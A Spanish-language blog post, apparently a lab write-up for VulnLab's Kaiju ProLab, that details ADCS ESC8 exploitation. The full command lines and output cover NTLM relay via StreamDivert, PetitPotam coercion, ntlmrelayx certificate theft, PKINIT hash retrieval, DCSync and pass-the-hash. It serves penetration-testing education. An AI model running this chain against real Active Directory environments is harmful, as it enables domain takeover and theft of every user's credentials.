Post

Active Directory Certificate Services: Abusando de ADCS ESC8 (NTLM Relay)

Active Directory Certificate Services: Abusando de ADCS ESC8 (NTLM Relay)

Introducción

ESC8 es una vulnerabilidad en Active Directory Certificate Services (ADCS) que ocurre cuando el servicio de Web Enrollment está habilitado sobre HTTP sin cifrado, o sobre HTTPS sin Channel Binding (EPA) habilitado.

El endpoint vulnerable es:

1
http://<CA>/certsrv/certfnsh.asp

Este endpoint acepta autenticación NTLM sin signing ni channel binding, lo que lo hace vulnerable a ataques de NTLM Relay. En esencia, un atacante puede interceptar la autenticación NTLM de una cuenta privilegiada (como la cuenta de máquina del Domain Controller) y reenviarla al servicio de ADCS para obtener un certificado válido en nombre de esa cuenta.

¿Por qué es crítico?

Las cuentas de máquina del Domain Controller (BERSRV100$) tienen privilegios elevados en el dominio. Si logramos obtener un certificado válido a nombre del DC, podemos encadenar los siguientes pasos:

1
Certificado DC → PKINIT → NT hash del DC → DCSync → todos los hashes del dominio

Esto nos lleva directamente a comprometer todo el dominio de Active Directory.


Escenario

Esta técnica fue encontrada durante la resolución del Mini ProLab Kaiju de VulnLab. La infraestructura del laboratorio es la siguiente:

1
2
3
4
10.10.14.59   Kali Linux    → máquina atacante
172.16.90.50  BERSRV200     → punto de pivote (comprometido previamente)
172.16.90.60  BERSRV100     → Domain Controller + CA raíz (kaiju-CA)
172.16.90.61  BERSRV105     → Subordinate CA (kaiju-sub-CA) ← ESC8 aquí

Fase 1 — Enumeración de ADCS

Antes de ejecutar el ataque, necesitamos confirmar que existe ADCS en la red y que alguna CA tiene ESC8. Comenzamos con NetExec para descubrir si hay un servidor de ADCS:

1
nxc ldap 172.16.90.60 -u clare.frost -p 'a...' -d kaiju.vl -M adcs

nxc_adcs

NetExec nos confirma que hay dos CAs en el dominio: kaiju-CA en BERSRV100 y kaiju-sub-CA en BERSRV105. Ahora usamos Certipy para buscar vulnerabilidades específicas:

1
certipy find -u clare.frost -p 'a...' -dc-ip 172.16.90.60 -vulnerable -stdout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  0
    CA Name                             : kaiju-sub-CA
    DNS Name                            : BERSRV105.kaiju.vl
    Web Enrollment
      HTTP
        Enabled                         : True       ← sin cifrado, vulnerable
      HTTPS
        Enabled                         : False
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
  1
    CA Name                             : kaiju-CA
    DNS Name                            : BERSRV100.kaiju.vl
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : True
        Channel Binding (EPA)           : False      ← sin protección
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP and HTTPS, and Channel Binding is disabled.

Certipy confirma ESC8 en ambas CAs. Usaremos kaiju-sub-CA en BERSRV105 como objetivo del relay ya que tiene web enrollment HTTP habilitado sin ninguna protección adicional.


Fase 2 — Preparación del entorno

El problema de red

Nuestra máquina atacante Kali (10.10.14.59) está en la red VPN de HTB y no tiene alcance directo a la red interna 172.16.90.0/24. Para resolver esto usamos Ligolo-ng para pivotar a través de BERSRV200, que sí tiene acceso a ambas redes.

Sin embargo, hay un problema adicional: para que el relay funcione, el DC necesita autenticarse hacia nosotros en el puerto 445. Pero ese puerto en BERSRV200 ya está ocupado por el servicio SMB nativo de Windows y no puede liberarse fácilmente.

La solución es port bending con StreamDivert — una herramienta que intercepta tráfico de red a nivel de kernel en BERSRV200 y lo redirige transparentemente hacia nuestra Kali, sin necesidad de liberar el puerto 445.

Port Bending con StreamDivert

StreamDivert: https://github.com/jellever/StreamDivert

Subimos los tres archivos necesarios a BERSRV200 como Administrator:

1
scp StreamDivert.exe WinDivert64.sys WinDivert.dll "Administrator@10.13.38.41:C:/temp/"

Creamos el archivo de configuración config.txt en BERSRV200:

1
tcp < 445 0.0.0.0 -> 10.10.14.59 445

Esta regla le dice a StreamDivert que todo el tráfico TCP entrante al puerto 445 desde cualquier origen debe ser redirigido a nuestra Kali en 10.10.14.59:445. Ejecutamos como Administrator:

1
.\StreamDivert.exe config.txt -f -v

Con esto, cualquier autenticación NTLM que llegue a BERSRV200:445 será transparentemente redirigida a nuestra Kali, donde ntlmrelayx estará esperando.


Fase 3 — Ejecución del ataque

Con el entorno preparado, el ataque requiere dos terminales corriendo en paralelo.

Terminal 1 — ntlmrelayx escuchando en Kali

Levantamos ntlmrelayx apuntando al endpoint de web enrollment de BERSRV105:

1
2
impacket-ntlmrelayx -t http://172.16.90.61/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController
  • -t apunta al ADCS vulnerable (kaiju-sub-CA en BERSRV105)
  • --adcs activa el modo de relay hacia ADCS para solicitar certificados
  • --template DomainController especifica la plantilla de certificado a solicitar
  • -smb2support habilita soporte para SMBv2

Terminal 2 — Coerción del DC con PetitPotam

Usamos PetitPotam para forzar al DC a autenticarse hacia BERSRV200 abusando de funciones MS-EFSRPC:

1
2
python3 PetitPotam.py -u 'Clare.Frost' -p 'a...' \
    172.16.90.50 172.16.90.60
  • 172.16.90.50 → listener (BERSRV200, donde StreamDivert redirige a Kali)
  • 172.16.90.60 → target (DC BERSRV100 que queremos coercionar)

Flujo del relay

Una vez ejecutados ambos comandos, el flujo completo es el siguiente:

diagram_esc8

1
2
3
4
5
6
7
8
9
10
DC (172.16.90.60)
    ↓ PetitPotam lo fuerza a autenticarse hacia BERSRV200:445
BERSRV200:445 (172.16.90.50)
    ↓ StreamDivert intercepta el tráfico y lo redirige
Kali:445 (10.10.14.59)
    ↓ ntlmrelayx captura la autenticación de BERSRV100$
    ↓ y la reenvía al endpoint HTTP de ADCS haciéndose pasar por el DC
BERSRV105:80 (172.16.90.61)
    ↓ ADCS cree que es el DC solicitando un certificado y lo emite
BERSRV100.pfx ← certificado de BERSRV100$ obtenido

ntlmrelayx nos confirma que el relay fue exitoso y escribe el certificado en disco:

1
2
3
4
[*] (SMB): Authenticating connection from KAIJU/BERSRV100$@10.13.38.41 against http://172.16.90.61 SUCCEED
[*] http://KAIJU/BERSRV100$@172.16.90.61 -> GOT CERTIFICATE! ID 9
[*] http://KAIJU/BERSRV100$@172.16.90.61 -> Writing PKCS#12 certificate to ./BERSRV100.pfx
[*] http://KAIJU/BERSRV100$@172.16.90.61 -> Certificate successfully written to file

ntlmrelay


Fase 4 — De certificado a Domain Admin

Con el certificado BERSRV100.pfx en mano, el camino hacia Domain Admin se vuelve directo.

Obtener NT hash via PKINIT

Usamos Certipy para autenticarnos con el certificado via PKINIT — un mecanismo de autenticación Kerberos que acepta certificados en lugar de contraseñas. Esto nos devuelve el NT hash de la cuenta de máquina del DC:

1
2
3
4
certipy auth -pfx BERSRV100.pfx \
    -dc-ip 172.16.90.60 \
    -username 'BERSRV100$' \
    -domain kaiju.vl
1
2
3
4
[*] Got TGT
[*] Trying to retrieve NT hash for 'bersrv100$'
[*] Got hash for 'bersrv100$@kaiju.vl':
    aad3b435b51404eeaad3b435b51404ee:cb55XXXXXXXXXXX

DCSync — dump completo del dominio

Con el NT hash de la cuenta de máquina del DC podemos ejecutar DCSync, que replica la base de datos de usuarios del DC hacia nosotros obteniendo los hashes de todos los usuarios del dominio:

1
2
3
impacket-secretsdump \
    -hashes aad3b435b51404eeaad3b435b51404ee:cb55XXXXXXXXXXX \
    'kaiju.vl/BERSRV100$'@172.16.90.60

secretsdump

1
2
3
4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b46XXXXXXXXXXX:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e974XXXXXXXXXXX:::
kaiju.vl\clare.frost:1105:...
kaiju.vl\sasrv200:1104:...

flujo_completo

Domain Admin

Con el hash del Administrator del dominio usamos Pass-the-Hash para conectarnos a los servidores sin necesitar la contraseña en texto plano:

1
2
3
4
5
# Domain Controller
evil-winrm -i 172.16.90.60 -u Administrator -H 0b46XXXXXXXXXXX

# Subordinate CA
evil-winrm -i 172.16.90.61 -u Administrator -H 0b46XXXXXXXXXXX

Gracias por Leer, si te ayudó en algo, entonces cumplí con mi objetivo, y si tienes alguna duda sobre el post o alguna mejora, estan mis redes en este blog y contactame.

Para terminar una Frase:

“Lo que sabemos es una gota, lo que ignoramos es un océano.”

— Isaac Newton

This post is licensed under CC BY 4.0 by the author.